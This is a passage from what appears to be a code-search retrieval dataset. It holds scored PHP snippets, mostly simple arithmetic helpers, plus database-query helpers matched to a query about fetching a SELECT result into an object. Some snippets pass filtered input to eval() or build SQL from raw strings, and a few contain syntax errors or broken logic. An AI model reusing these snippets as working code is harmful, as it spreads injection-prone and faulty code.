$x, int $y, int $z): int {\n return $x + $y + $z;\n}", "title": "" }, { "docid": "dac295bd5cc75b62cc787db53d741359", "score": "0.54808235", "text": "function luasSegitiga($alas, $tinggi){\n $luas= $alas * $tinggi * 0.5;\n return $luas;\n}", "title": "" }, { "docid": "8dd3a79b8fd984df50e264cf0484bdde", "score": "0.54628825", "text": "function foursomes($n) {\r\n // it's a \"tetrabonacci\" without the starting sequence: 0 0 0 1 ..\r\n $first = 0;\r\n $second = 0;\r\n $third = 0;\r\n $fourth = 1;\r\n for ($i = 0; $i < $n; $i++) {\r\n // same as in threesomes function\r\n $curr = $first % MOD + $second % MOD + $third % MOD + $fourth % MOD;\r\n $first = $second;\r\n $second = $third;\r\n $third = $fourth;\r\n $fourth = $curr;\r\n }\r\n return $curr;\r\n}", "title": "" }, { "docid": "8aed80245f23d529c763c3b55c5f9efc", "score": "0.545842", "text": "function tandaseru($a)\r\n{\r\n\t$hasil = 1;\r\n\twhile ($a > 0) {\r\n\t\t$hasil *= $a;\r\n\t\t$a--;\r\n\t}\r\n\treturn $hasil;\r\n}", "title": "" }, { "docid": "13b23302e485aa8ab2ebb4204f2482f9", "score": "0.5456995", "text": "function fibonacci($n)\n{\n $first = 0;\n $second = 1;\n\n echo \"Fibonacci series \";\n echo $first . ' ' . $second . ' ';\n\n for ( $i = 2; $i < $n; $i++ ) {\n\n $third = $first + $second;\n\n echo $third . ' ';\n\n $first = $second;\n $second = $third;\n }\n}", "title": "" }, { "docid": "54cc216719c7270b48ae5a5f919f06e6", "score": "0.545613", "text": "function f4($a=256){\n echo \"<br/>In function f4(), a = $a <br>\";\n $a = sqrt($a);\n echo \"after sqrt(), a = $a <br>\";\n}", "title": "" }, { "docid": "0264bc48176c7254251eaaa49145721c", "score": "0.54551905", "text": "function calc(){\n $number1 = 10;\n $number2 = 10;\n $sum = $number1 + $number2;\n return $sum;\n}", "title": "" }, { "docid": "22478fe61fc4d482667d5d2e220ad196", "score": "0.545508", "text": "function &f1($p1, $p2)\n{\n static $result = 0;\n //定义为静态变量,此时该变量的值就会“保留”\n //即不会随着函数结束而销毁,而是会一直“持有”该值\n //而且,第二次及以后再调用该函数,也不会初始化了\n //第一次应该是0,第二次应该是6\n echo \"<br/>result =$result\";\n $h = $p1 * $p1 + $p2 * $p2;\n $result = pow($h, 0.5);\n return $result;\n}", "title": "" }, { "docid": "b8b4a8779c8760b0413a25076121e371", "score": "0.54549056", "text": "function sum($x,$y){\n $z=$x+$y;\n return $z;\n}", "title": "" }, { "docid": "9fe4b72d96d1fde375c390887dd5c6b1", "score": "0.5444713", "text": "function sum_two_number($a, $b){\n return $a + $b;\n}", "title": "" }, { "docid": "1ddbe7c55865655f42b5c7b92682e0ab", "score": "0.54305565", "text": "function addTwoNumbers($a, $b)\n{\n return $a + $b;\n}", "title": "" }, { "docid": "4b4b22ba08793791fe128348fbf50e76", "score": "0.54209536", "text": "function SignedVolumeOfTriangle ( $p1, $p2, $p3 ) {\r\n\t\t$v321 = $p3[1] * $p2[2] * $p1[3];\r\n\t\t$v231 = $p2[1] * $p3[2] * $p1[3];\r\n\t\t$v312 = $p3[1] * $p1[2] * $p2[3];\r\n\t\t$v132 = $p1[1] * $p3[2] * $p2[3];\r\n\t\t$v213 = $p2[1] * $p1[2] * $p3[3];\r\n\t\t$v123 = $p1[1] * $p2[2] * $p3[3];\r\n\t\treturn ( 1.0 / 6.0 ) * ( -$v321 + $v231 + $v312 - $v132 - $v213 + $v123 );\r\n\t}", "title": "" }, { "docid": "d0c5ee77d44d20eae3fcde6d2af4dd8a", "score": "0.5420885", "text": "public function addInteger3( $value){\n return $this->_add(3, $value);\n }", "title": "" }, { "docid": "ed5d936ff96fdb5ac1f27a10c79b3488", "score": "0.54178613", "text": "function topla($sayi1,$sayi2) : int\r\n{\r\n\treturn $sayi1+$sayi2;\r\n}", "title": "" }, { "docid": "9568047f8d5efd2a818d9489109cd615", "score": "0.54168683", "text": "function cube(int $n){\n return $n*$n*$n;\n }", "title": "" }, { "docid": "6c2bb0b2ec9cd5bc39647651ff7c7a5e", "score": "0.5405282", "text": "function sub(){\n\t\t\t$a = 30;\n\t\t\t$b = 20;\n\t\t\t$c = $a - $b;\n\t\t\techo \"Subtraction: $c<br/>\";\n\t\t}", "title": "" }, { "docid": "e4ae9ad0e5ea430bf695dff7df27ddef", "score": "0.54011154", "text": "function sum( int $x = 0, int $y = 0, int $z = 0 ): int {\n return $x + $y + $z;\n}", "title": "" }, { "docid": "81fc783d382dc82121a7f299e382419a", "score": "0.5392593", "text": "function grad($hash, $x, $y, $z)\n {\n $h = $hash & 15;\n $u = $h<8 ? $x : $y;\n $v = $h<4 ? $y : ($h==12||$h==14 ? $x : $z);\n\n return (($h&1) == 0 ? $u : -$u) + (($h&2) == 0 ? $v : -$v);\n }", "title": "" }, { "docid": "dec01b82f427a41279797e2079021a20", "score": "0.5373839", "text": "function TVA1($nombre, $taux)\n{\n return $nombre*(1+$taux/100); \n}", "title": "" }, { "docid": "a7f6743a96db519a853033c1b8947d0e", "score": "0.5367069", "text": "function add($num1, $num2){\n $sum=0;\n while($num2){\n $sum=$num1^$num2;\n $sum=$sum>>1;\n $num1=$sum;\n }\n return $sum;\n}", "title": "" }, { "docid": "357430cb20001741dda6af62767138b7", "score": "0.53596944", "text": "function calcularHipotenusa ($cat1, $cat2) {\n // int $hip, a, b\n $a = $cat1 * $cat1;\n $b = $cat2 * $cat2;\n $hip = sqrt($a + $b);\n return $hip;\n}", "title": "" }, { "docid": "1e0a6c74c828caed99c814a241c6b40a", "score": "0.53534824", "text": "function sum($x, $y, $z)\n\t\t\t\t{\n\t\t\t\t\t$sum = ($x + $y +$z);\n\t\t\t\t\techo \"<p>The sum of $x, $y and $z is $sum</p>\";\n\n\t\t\t\t}", "title": "" }, { "docid": "5c768a09c2fb3356d54dca3060619ccb", "score": "0.53431994", "text": "function somme($nb1 , $nb2)\n\t\t{\n\t\t\treturn $nb1 + $nb2 ; \n\t\t}", "title": "" }, { "docid": "310c36d06bf74f64708ee02046ce19d2", "score": "0.53278387", "text": "function pot($a, $n=2)\n{\n return $a ** $n;\n}", "title": "" }, { "docid": "de2f8a57175ca111da4e56d3cb40021a", "score": "0.53259426", "text": "function sum($a, $b, $c)\n{\n return $a + $b + $c;\n echo 'Here!' . PHP_EOL;\n}", "title": "" }, { "docid": "9253e1459d057409f08e065e73444e2c", "score": "0.5316146", "text": "function addNum($a, $b) {\n\t $c = $a + $b;\n\t return $c;\n\t \n\t}", "title": "" }, { "docid": "bc54989d6196bdce8be9ec107ff9f022", "score": "0.5313874", "text": "function math($first , $function){\n\t\t$return = '';\n\t\t$function = preg_replace('#[^0-9 \\(\\)\\.,\\+/\\*s\\%\\-]*#s', '', $function);\n\t\t$math = sprintf($function, $first);\n\t\teval('$return = '.$math.';');\n\t\treturn $return;\n\t}", "title": "" }, { "docid": "17ccda28adb8b70d3b4a50d19296d568", "score": "0.5299644", "text": "function laske_ennuste($x1=1, $x2=1, $x3=1, $x4=1) // oletuksena 1\n\t\t{ \n\t\t\t$ennuste=-5.6+$x1*0.362+$x2*0.164+$x3*0.532+$x4*0.30;\n\t\t\t// echo \"ennuste: \" .$ennuste;\n\t\t\t$ennuste_p= exp($ennuste)/(1 + exp($ennuste));\n\t\t\t$ennuste_p=number_format($ennuste_p,2);\n\t\t\treturn $ennuste_p; // palauttaa funktiosta arvon \n\t\t}", "title": "" }, { "docid": "842c23b6a957fd69ac78b1c45146adfb", "score": "0.52835226", "text": "function get_edwards_trimp($i1,$i2,$i3,$i4,$i5){\n\treturn $i1 + $i2*2 + $i3*3 + $i4*4 + $i5*5;\n}", "title": "" }, { "docid": "304d924e72dc8a48ac1547001ff02ad7", "score": "0.52682936", "text": "function fact1($n)\n{\n\n if ($n == 1) {\n return 1;\n }\n return $n * fact1($n - 1);\n}", "title": "" }, { "docid": "4f5cf7ce61dbbfcbabaa06509acc3275", "score": "0.52643603", "text": "function A($i, $j){\n return 1.0/(($i+$j)*($i+$j+1)/2+$i+1); \n}", "title": "" }, { "docid": "5fc2a3a23cd69e958f6ab09b8cf2894f", "score": "0.5255298", "text": "function calculator($number) {\n\n $squareroot = sqrt($number);\n $cuberoot = pow($number, 1/3);\n $roundedsqr = round($squareroot, 2);\n $roundcubed = round($cuberoot, 2);\n echo \"<p>The squareroot of $number is: $roundedsqr and the cuberoot is $roundcubed</p>\";\n\n}", "title": "" }, { "docid": "384761ef29d139dad5dd307aff1a822f", "score": "0.52520776", "text": "function addNumbers($firstNumber,$secondNumber = 7)\r\n{\r\n\t// Function Body\r\n\techo $firstNumber + $secondNumber ;\r\n}", "title": "" }, { "docid": "6d05df3a37bf3945bef57dab3e36fa77", "score": "0.52499706", "text": "function p($as, $f) {\n $x1= ($as / 100) * $f;\n $s = $as - $x1;\n return $s;\n}", "title": "" }, { "docid": "19f3afe497dae399e2d160351558a5cd", "score": "0.524774", "text": "function fact(int $n):int {\n // if(gettype($n)!=\"integer\"){\n // return 'invalid';\n // }\n $result=1;\n for($i=$n; $i>1; $i--){\n $result *= $i;\n }\n //return 'asd';\n return $result;\n\n}", "title": "" }, { "docid": "1d31f192d46df09f96c18cfc07061c40", "score": "0.5244131", "text": "public function getAlpha3();", "title": "" }, { "docid": "6339509e848bebba9f6d5dd528734fb8", "score": "0.5240922", "text": "function luas_lingkaran ($jari) {\nreturn 3.14 * $jari * $jari;\n}", "title": "" }, { "docid": "e3e93a4291a75edeba047df545f1886e", "score": "0.52389973", "text": "function Fibonacci($n){ \n \n $num1 = 0; \n $num2 = 1; \n \n $counter = 0; \n while ($counter < $n){ \n echo ' '.$num1; \n $num3 = $num2 + $num1; \n $num1 = $num2; \n $num2 = $num3; \n $counter = $counter + 1; \n } \n}", "title": "" }, { "docid": "0f58079b30974de6bbcb851c7e4a508d", "score": "0.52342546", "text": "function addFunction($num1, $num2)\n{\n $sum = $num1 + $num2;\n echo \"Sum of the two numbers is : $sum\";\n}", "title": "" }, { "docid": "a72c56a7516e3c3deb498697d6255678", "score": "0.52337545", "text": "function cubic($a, $b, $c) {\n $M_2PI = 2. * M_PI;\n\n $q=($a*$a-3.*$b)/9.; \n $r=($a*(2.*$a*$a-9.*$b)+27.*$c)/54.;\n $r2=$r*$r; \n $q3=$q*$q*$q;\n if($r2 < $q3) {\n $t=acos($r/sqrt($q3));\n $a/=3.; \n $q=-2.*sqrt($q);\n $x[0]=$q*cos($t/3.)-$a;\n $x[1]=$q*cos(($t+$M_2PI)/3.)-$a;\n $x[2]=$q*cos(($t-$M_2PI)/3.)-$a;\n $strok = 'X1 ='.(string)$x[0].'<br> X2 ='.(string)$x[1].'<br> X3 ='.(string)$x[2].'<br>';\n return $strok;\n }\n else {\n if($r<=0.){\n $r=-$r;\n }\n $aa=-pow($r+sqrt($r2-$q3),1./3.); \n if($aa!=0.) {\n $bb=$q/$aa;\n }\n else {\n $bb=0.;\n } \n $a/=3.; \n $q=$aa+$bb; \n $r=$aa-$bb; \n $x[0]=$q-$a;\n $x[1]=(-0.5)*$q-$a;\n $x[2]=(sqrt(3.)*0.5)*abs($r);\n if($x[2]==0.) {\n return 'X1 ='.(string)$x[0].'<br> X2 ='.(string)$x[1].'<br>';\n }\n return 'X1 ='.(string)$x[0].'<br>';\n }\n }", "title": "" }, { "docid": "c34081eb561eb1c6e68e22b55221e1f1", "score": "0.52282065", "text": "function fibonacci($c,$n1,$n2)\n{\n if ($c > 0) {\n $n3 = $n1 + $n2;\n $n1 = $n2;\n $n2 = $n3;\n echo $n3.\" \";\n return fibonacci($c-1,$n1,$n2);\n }\n}", "title": "" }, { "docid": "0ddcd7cf854cdd0160e21dbfd394c14d", "score": "0.52205426", "text": "function suma($a,$b)\n{\n\treturn $a+$b;\n\n}", "title": "" }, { "docid": "d5fed5caa20a86e04bb26c32d29977b7", "score": "0.5217585", "text": "public static function discriminant($a=1, $b=2, $c=3) {\r\n$dis=$b*$b-4*$a*$c;\r\nreturn $dis;\r\n}", "title": "" }, { "docid": "08693542ff3f99dc4ffc7eb0c76e1ce4", "score": "0.5216947", "text": "function getExponent($a,$b) {\n \n // echo $a*$b;\n return pow ($a,$b);\n \n}", "title": "" }, { "docid": "6d5c8acba02b94570c07de02deab9221", "score": "0.52137893", "text": "function three_digit($num){\n\t\tglobal $single_supix,$all_value; \n\t\t$numToarray=str_split($num);\n\n\t\tif($numToarray['0']==0){\n\t\t\t$two_digit=$numToarray['1'].$numToarray['2'];\n\n\t\t\t// function calling two_digit \n\t\t\t\treturn $result=two_digit($two_digit);\n\t\t}else{\n\n\t\t$supix='hundred';\n\t\t\n\n\t\t// first digit\n\t\t$first_digit=$numToarray['0'];\n\t\t$first_value=$all_value[$first_digit];\n\n\t\t// rest two digit\n\t\t$two_digit=$numToarray['1'].$numToarray['2'];\n\n\t\t// call two digit function\n\t\t$r=two_digit($two_digit);\n\n\t\t// return all value\n\t\treturn $result=$first_value.' '.$supix.' '.$r;\n\t}\n\t}", "title": "" }, { "docid": "5d1124ac64a71d4193446f1f022ce11a", "score": "0.5212696", "text": "function cuadrado($base){\n echo $base*$base;\n}", "title": "" }, { "docid": "2be9d47156ddf3763ce7d8e4c4b32fb2", "score": "0.52085805", "text": "function threesomes($n) {\r\n // it's a \"tribonacci\" without the starting sequence: 0 0 1 ..\r\n $first = 0;\r\n $second = 0;\r\n $third = 1;\r\n for ($i = 0; $i < $n; $i++) {\r\n // anticipate the modulo here in order to avoid roundings, since:\r\n // (x + y + z) % k == (x % k + y % k + z % k) % k\r\n $curr = $first % MOD + $second % MOD + $third % MOD;\r\n $first = $second;\r\n $second = $third;\r\n $third = $curr;\r\n }\r\n return $curr;\r\n}", "title": "" }, { "docid": "96859e38854028dc55daa1b07cf0fd76", "score": "0.52083004", "text": "function sum4(){\n $sum = 0;\n $place = 1;\n $cur = array();\n $i = 0 ;\n for($i=0;$i<4;$i++){\n $cur[] = sum($sum,$place);\n $sum = sumarray($cur);\n //echo \"$place => $sum <br>\";\n $place ++;\n }\n return $cur;\n}", "title": "" }, { "docid": "c23d1e7b661864329457b4183f86e8c4", "score": "0.5204656", "text": "function plusOrMinus($a, $b, $c)\n {\n if ($a > 0) {\n return $b + $c;\n } else {\n return $b - $c;\n }\n }", "title": "" }, { "docid": "8e3d8904c8b32cb002d0c494ec3111f7", "score": "0.52033985", "text": "function kelilingJajargenjang($p, $l){\n $keling= 2 * ( $p + $l);\n return $keling;\n}", "title": "" }, { "docid": "00546f9b61ad8b1073220066eaf6a0ff", "score": "0.5199203", "text": "function addTwo($number1, $number2) {\n $result = $number1 + $number2;\n return $result;\n}", "title": "" }, { "docid": "15f29d79d5d238082d61c9671fc67e6d", "score": "0.51978046", "text": "function php_compat_acosh($n)\n{\n return log($n + sqrt($n + 1) * sqrt($n - 1));\n}", "title": "" }, { "docid": "4f1409e84277aa2536cecfccdb10df19", "score": "0.51963574", "text": "function stats_stat_factorial (int $n): float {\n}", "title": "" }, { "docid": "1bf7eb3a3748e1f304dbfbdeb23a2d07", "score": "0.5189096", "text": "function sumNumbers($A, $B) {\r\n$C = $A + $B;\r\nreturn $C;\r\n}", "title": "" }, { "docid": "3cb03c13a4e31fbccaefd51dbceb805c", "score": "0.5188887", "text": "function get_distance ($s,$t){\n $v = $s/$t;\n echo $v;\n}", "title": "" }, { "docid": "879dee497ae2cbe59932f31402f86e0d", "score": "0.5177567", "text": "function kelilingLingkaran($jari){\n $keling= 3.14 * $jari * 2;\n return $keling;\n}", "title": "" }, { "docid": "b9467af486db18e744903d070165093d", "score": "0.51767665", "text": "function triangular_number($n) {\n\treturn $n * ($n + 1) / 2;\n}", "title": "" }, { "docid": "82e1a6f756a59fecd0abecec374bff23", "score": "0.5167798", "text": "function getSquare($num){\n echo $num * $num;\n}", "title": "" }, { "docid": "5d8211c0a276998fc2d4e3371b3f55b4", "score": "0.51657724", "text": "function adder($num1, $num2) {\n\tprint_p(\"{$num1} + {$num2} = \" . ($num1+$num2));\n}", "title": "" }, { "docid": "b6dea6764e669a0ed747b7e003c73ccb", "score": "0.5161647", "text": "public function save3(){\n return $this->pv*exp($this->n*log(1+ $this->int));\n}", "title": "" }, { "docid": "4b4f6096da31df05a6fa0f0300c20ed2", "score": "0.5158262", "text": "function numComb($enne ,$kappa){\n\n$ennefact=$this->fact($enne);\n\n$kappafact=$this->fact($kappa);\n\n$enne_minus_kappafact=$this->fact(($enne - $kappa));\n\n$numb=$ennefact/($kappafact*$enne_minus_kappafact);\n\nreturn $numb;\n\n}", "title": "" }, { "docid": "c6080cfa85aa8b590bd7e273f0c26fe7", "score": "0.51502275", "text": "function kelvin_to_fahrenheit($given_value)\t\t\r\n{\r\n\t$fahrenheit=9/5*($given_value-273.15)+32;\r\n\treturn number_format($fahrenheit) ;\r\n}", "title": "" }, { "docid": "5c785c2d88bd71a82e51769928c983fd", "score": "0.5139922", "text": "function multiplyByTwo($number) {\n $answer = $number * 2\n echo $answer;\n }", "title": "" }, { "docid": "4d3cd11b4049ecb788bc3f867ad4825c", "score": "0.5130685", "text": "function celsiusToFahrenheit($celsius) {\n $fahrenheit = (1.8 * $celsius) + 32;\n echo \"$celsius degree Celsius is equal to $fahrenheit degree Fahrenheit\";\n}", "title": "" }, { "docid": "45b60c99e5a203c38a026d9f68de8369", "score": "0.5117956", "text": "function fibo0($a, $b, $i) {\n $out0 = 0;\n $a2 = $a;\n $b2 = $b;\n for ($j = 0; $j <= $i + 1; $j++)\n {\n $out0 += $a2;\n $tmp = $b2;\n $b2 += $a2;\n $a2 = $tmp;\n }\n return $out0;\n}", "title": "" }, { "docid": "ccfd7889910e7003308b25f562e861b3", "score": "0.5113338", "text": "function power($b,$number) {//文档第一行数据\r\n $yy=pow($b,$number);\r\n return $yy;\r\n}", "title": "" }, { "docid": "81b4a4af77c9cbb8cb174ee730bdd750", "score": "0.5103278", "text": "function addNum(float $a,float $b ):float{\n return $a + $b;\n }", "title": "" }, { "docid": "06972d7382552aef9782250dadbcb954", "score": "0.5086462", "text": "function bunnyEars($n){\n if ($n == 0){ return 0;}\n $n -= 1;\n return 2 + bunnyEars($n);\n}", "title": "" } ]
b44a313aff0589add9268899c4831df6
/ Takes some arbitrary SELECT type SQL and places the first or only result into the current object
[ { "docid": "e5d2b3b5a6f7c7fa5292f020af5b54c6", "score": "0.0", "text": "function readDataBase($sql) {\r\n\t\t$database = mamboDatabase::getInstance();\r\n\t\t$database->setQuery( $sql );\r\n\t\tif (!$database->loadObject($this)) $this->id = 0;\r\n\t}", "title": "" } ]
[ { "docid": "5ce1f22df4a11ea991813a39fdea6a4a", "score": "0.64173037", "text": "public abstract function select($query);", "title": "" }, { "docid": "7facd63acc1e8a8b11cdf9ffbf9881e0", "score": "0.6387584", "text": "abstract protected function dbSelect();", "title": "" }, { "docid": "a8308f503116abfd54556824ccb83f25", "score": "0.6363501", "text": "abstract public function getOne( $sql_query );", "title": "" }, { "docid": "660039dc5a72653f87a2c773e620073a", "score": "0.63176405", "text": "abstract protected function select();", "title": "" }, { "docid": "05640c1eff413386eb32b27c46c24951", "score": "0.6271662", "text": "abstract public function select();", "title": "" }, { "docid": "f348888dffcc19e3c46fceee6c8635cf", "score": "0.61262846", "text": "abstract public function selectQuery($query);", "title": "" }, { "docid": "7628ba31d152d3a2a7429f7b4c3523fb", "score": "0.6073847", "text": "public function get_one($sql) {\r\n return $this->query(func_get_args())->get_one();\r\n }", "title": "" }, { "docid": "7a33f1d90a76b6e0c095514e10d69ca6", "score": "0.60323286", "text": "function fetchResult($sql, $single_object) {\n\t\t$query = $this->db->query($sql);\n\t\t\n\t\t$data = array();\n\t\tif ($query->num_rows() > 0) {\n\t\t\tforeach ($query->result() as $row) {\n\t\t\t\tif ($single_object)\n\t\t\t\t\treturn $row;\n\t\t\t\telse \n\t\t\t\t\t$data[] = $row;\n\t\t\t}\n\t\t}\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "4fd1f5713f2dcb551bd46a225a6ae899", "score": "0.6029804", "text": "public static function doSelect($sql, $param = array()){\n\t\t$stmt = Application::instance()->pdo()->mysql()->prepare($sql);\n\t\t$stmt->execute($param);\n\t\treturn $stmt->fetchAllObjectOfClass(\"eOther\");\n\t}", "title": "" }, { "docid": "47a6750d10273044f140d72fdad8716c", "score": "0.59983426", "text": "function simple_exec_query($a)\n {\n \t$this->simple_construct( $a );\n \t$ci = $this->simple_exec();\n \t\n \tif ( $a['select'] )\n \t\treturn $this->fetch_row( $ci );\n }", "title": "" }, { "docid": "558c6b6330f15c72b5334b3492154511", "score": "0.59783715", "text": "public function queryFirstRow($query, $fetchFunc = self::MYSQL_ASSOC, $class='stdClass');", "title": "" }, { "docid": "7f29c49c00bcdb75c76a91335ca468a1", "score": "0.59353966", "text": "public function singleReturnQuery($sql, $fetchStyle)\n {\n $stmt = $this->connect()->query($sql)->fetch($fetchStyle);\n return $stmt;\n }", "title": "" }, { "docid": "c2ce2b5c03c62168c286446153085e9b", "score": "0.5934001", "text": "function single_query_template($sql){\n include \"connection.php\";\n try{\n $result = $database->query($sql);\n $result = $result->fetch(PDO::FETCH_ASSOC);\n }\n catch(Exception $error){\n echo \"query failed to execute\";\n }\n return $result;\n }", "title": "" }, { "docid": "288be7afcdbe744a012010f43fe69abb", "score": "0.59263116", "text": "abstract public function fetch($table, $select = '*', $where = null, $order = null);", "title": "" }, { "docid": "ede6136731cbb7b6d1a7017a883b7111", "score": "0.58953106", "text": "abstract function singleQuery($sql, $params = array());", "title": "" }, { "docid": "c1bc041dbb62748ddd8ac0acbc63a10b", "score": "0.5888239", "text": "abstract public function query($sql);", "title": "" }, { "docid": "6918ea39edc6133e09c59daba77bcece", "score": "0.5845294", "text": "protected function __select()\n\t{\n\t\t//SELECT HOW?\n\t\t$mode = (empty($this->modifier)) ? \"\" : $this->modifier;\n\t\t//WHAT?\n\t\t$cols = (empty($this->what)) ? \"*\" : implode(\",\", $this->what);\n\t\t//WHERE TO FIND?\n\t\t$tables = $this->__tables();\n\t\t//ONLY WHEN\n\t\t$cond = $this->__where();\n\t\t//SORTING BY\n\t\t$order = (empty($this->orderBy)) ? \"\" : \" order by \" . implode(\",\", $this->orderBy) . \" \" . $this->orderDirection;\n\t\t//HOW MUCH?\n\t\t$limit = $this->__limit();\n\t\treturn $this->query = \"select \" . $mode . \" \" . $cols . \" from \" . $tables . $cond . $order . $limit;\n\t}", "title": "" }, { "docid": "2020d11e8bd219886bb3f3828afba12f", "score": "0.58262736", "text": "abstract protected function getSelectStatement();", "title": "" }, { "docid": "2020d11e8bd219886bb3f3828afba12f", "score": "0.58262736", "text": "abstract protected function getSelectStatement();", "title": "" }, { "docid": "d2ef40da505b2bcc1f9a08a2f315d2a8", "score": "0.5820019", "text": "abstract function selectQuery($db);", "title": "" }, { "docid": "022259d2cfb756824bc16209c8ee23d5", "score": "0.5814164", "text": "function getOne($sql,$table='',$where='') {\n\t\t//兼容以前直接$sql模式\n\t\tif($table && is_array($where)){\n\t\t\t$wherefield = '';\n\t\t\t$value = array();\n\t\t\t$num = 0;\n\t\t\t$sign = '';\n\t\t\tforeach ($where as $v) {\n\t\t\t\t//$vv = array(\"字段\",\"值\",\"符号,默认=\");\n\t\t\t\t$num ++;\n\t\t\t\t$new_key = \":where{$num}\";\n\t\t\t\t$sign = $v[2] ? $v[2] : '=';\n\t\t\t\t$wherefield .= $wherefield ? \" AND {$v[0]} {$sign} {$new_key}\" : \"{$v[0]} {$sign} {$new_key}\";\n\t\t\t\t$value[$new_key] = $v[1];\n\t\t\t}\n\t\t\t$sql = \"SELECT {$sql} FROM \" . $table . \" WHERE \".$wherefield;\n\t\t\t//dump($value);\n\t\t\t$result = $this->db->prepare($sql);\n\t\t\t$this->checkDebug($sql,$value);\n\t\t\t$rs = $result->execute($value);\n\t\t\t\n\t\t}else{\n\t\t\t$this->checkDebug($sql);\n\t\t\t$result = $this->db->prepare($sql);\n\t\t\t$rs = $result->execute();\n\t\t}\n\t\tif ($rs)\n\t\treturn $result->fetchColumn();\n\t\t\n }", "title": "" }, { "docid": "fb9b08e8643fa5db8abedafe5e3c6f8c", "score": "0.5813073", "text": "public function fetchRow($sql);", "title": "" }, { "docid": "7f00b34b5cc58d6e9c6231b3f1189e44", "score": "0.579327", "text": "public function select2($select = \"*\", $where = NULL, $start = -1, $end = -1) { \n $query = \"SELECT {$select} FROM [{$this->info[\"schema\"]}].[{$this->info[\"table\"]}]\";\n if(!is_null($where)) {\n $query .= \" WHERE {$where}\";\n }\n if($start == -1 && $end > -1) {\n $query = str_replace(\"SELECT\", \"SELECT TOP {$end} \", $query);\n } else {\n if($start > -1 || $end > -1) {\n $query .= \" ORDER BY (SELECT 0)\";\n }\n if($start > -1) {\n $query .= \" OFFSET {$start} ROWS\";\n }\n if($end > -1) {\n $query .= \" FETCH NEXT {$end} ROWS ONLY\";\n }\n }\n \n $this->open();\n $stmt = $this->conn->prepare($query);\n $stmt->execute();\n $results = $stmt->fetchAll($this->config[\"fetch\"]);\n \n $this->close();\n \n return $results;\n }", "title": "" }, { "docid": "d6e5d6117c341fe5b22d8a1ab9218aa9", "score": "0.5788909", "text": "protected function _selectFromSelectObject()\n {\n $subquery = $this->_db->select()\n ->from('subqueryTable');\n\n $select = $this->_db->select()\n ->from($subquery);\n return $select;\n }", "title": "" }, { "docid": "cac7b039620f009a9785096ed8d3584b", "score": "0.5787703", "text": "public function executeFirstRow($sql, ...$arguments);", "title": "" }, { "docid": "db8cbe65fad20f5a3dd5432921b4402f", "score": "0.5786119", "text": "public static function select_one($sql) {\n\t\t$result = self::execute($sql);\n\t\treturn $result->fetch_assoc();\n\t}", "title": "" }, { "docid": "ad947ef4eb72bcee8f66faac26154c2d", "score": "0.578507", "text": "public function select() {\r\n\t\t\r\n\t\t// Get query SQL\r\n\t\t$sql = $this->buildSQL(\"SELECT\");\r\n\t\t\r\n\t\t// If somehow the query was not valid\r\n\t\tif (!$sql) return $this;\r\n\t\t\r\n\t\t// Run the query\r\n\t\t$this->run($sql);\r\n\t\t\r\n\t\t/*\r\n\t\t// Run the statement\r\n\t\t$result = mysqli_query($this->db, $sql);\r\n\t\t$this->error = mysqli_error($this->db);\r\n\t\t\r\n\t\t// Log error\r\n\t\tif ($this->error) {\r\n\t\t\t$this->errors[] = array(\r\n\t\t\t\t\"sql\"\t=> $sql,\r\n\t\t\t\t\"error\"\t=> $this->error\r\n\t\t\t);\r\n\t\t}\r\n\t\t\r\n\t\t// Get results if there are any\r\n\t\t$this->results = array();\r\n\t\tif (@mysqli_affected_rows($this->db)>0 || @mysqli_num_rows($result)>0)\r\n\t\t\t$this->results = $this->get_results($result);\r\n\t\t\r\n\t\t// Go to next query\r\n\t\t$this->logQuery($sql);\r\n\t\t*/\r\n\t\t\r\n\t\t// Get debugging information\r\n\t\t$this->debugInfo($sql);\r\n\t\t\r\n\t\treturn $this;\r\n\t}", "title": "" }, { "docid": "082ad6e6bf13892df1e882ccce1a3753", "score": "0.57770574", "text": "function query_first($query_string)\n {\n // does a query and returns first row\n $query_id = $this -> query($query_string);\n $returnobj = $this -> fetch_object($query_id);\n $this -> free_result($query_id);\n return $returnobj;\n }", "title": "" }, { "docid": "8eaa82841444153ddb911b7180b88294", "score": "0.5774305", "text": "public function selectOne($sql, $bindParams = array(), $returnType = null);", "title": "" }, { "docid": "dd724656b3f2f2c0b716194e2271277e", "score": "0.5770193", "text": "public function GetRow( $sql );", "title": "" }, { "docid": "826d6b4a6341a3be0be0cf0ebfd713a4", "score": "0.57579166", "text": "public function getResultSet($where = null, $order = null, $count = null, $offset = null, $cols = null)\n {\n //prepare the sql\n// \\Zend\\Debug::dump($order);\n $sqlSelect = $this->prepareResultSetSql($where, $order, $count, $offset, $cols);\n\n// \\Zend\\Debug::dump($sqlSelect);\n// \\Zend\\Debug::dump($sqlSelect->getSqlString($this->adapter->getPlatform()));\n// echo $sqlSelect->getSqlString($this->adapter->getPlatform());\n\n //save sql\n $this->_lastSql = $sqlSelect;\n\n $statement = $this->adapter->createStatement();\n $sqlSelect->prepareStatement($this->adapter, $statement);\n\n// \\Zend\\Debug::dump($sqlSelect, '$sqlSelect');\n// \\Zend\\Debug::dump($statement, '$statement');\n $result = $statement->execute();\n\n //\n $resultSet = clone $this->selectResultPrototype;\n $resultSet->setDataSource($result);\n\n// \\Zend\\Debug::dump($resultSet);\n// \\Zend\\Debug::dump($resultSet->toArray());\n// foreach ($resultSet as $key => $row) {\n//// \\Zend\\Debug::dump($key);\n//// \\Zend\\Debug::dump($row);\n//// \\Zend\\Debug::dump($row->toArray());\n//// \\Zend\\Debug::dump($row->toArray());\n//\n// }\n\n return $resultSet;\n\n// \\HiZend\\Debug\\Debug::dump($sqlSelect->__toString());\n\n// \\Zend\\Debug::dump($sqlSelect);\n// \\Zend\\Debug::dump($result);\n\n\n\n\n// $stmt = $this->_db->query($sqlSelect);\n// $rows = $stmt->fetchAll(\\Zend\\Db\\Db::FETCH_ASSOC);\n//\n// $data = array(\n// 'table' => $this,\n// 'data' => $rows,\n//// 'readOnly' => $sqlSelect->isReadOnly(),\n// 'rowClass' => $this->getRowClass(),\n// 'stored' => true\n// );\n//\n// $rowsetClass = $this->getRowsetClass();\n// $rowSet = new $rowsetClass($data);\n//\n// if (!$rowSet) {\n// return false;\n// }\n//\n//// \\HiZend\\Debug\\Debug::precho($rows, '$rows');\n//\n//\n////\n////\n//// foreach ($this->_behaviourObjects as $behaviourObject) {\n//// $allItems = $behaviourObject->modifyResults(\n//// $allItems,\n//// $where,\n//// $order,\n//// $count,\n//// $offset,\n//// $cols\n//// );\n//// }\n////\n//// //\n// return $rowSet;\n }", "title": "" }, { "docid": 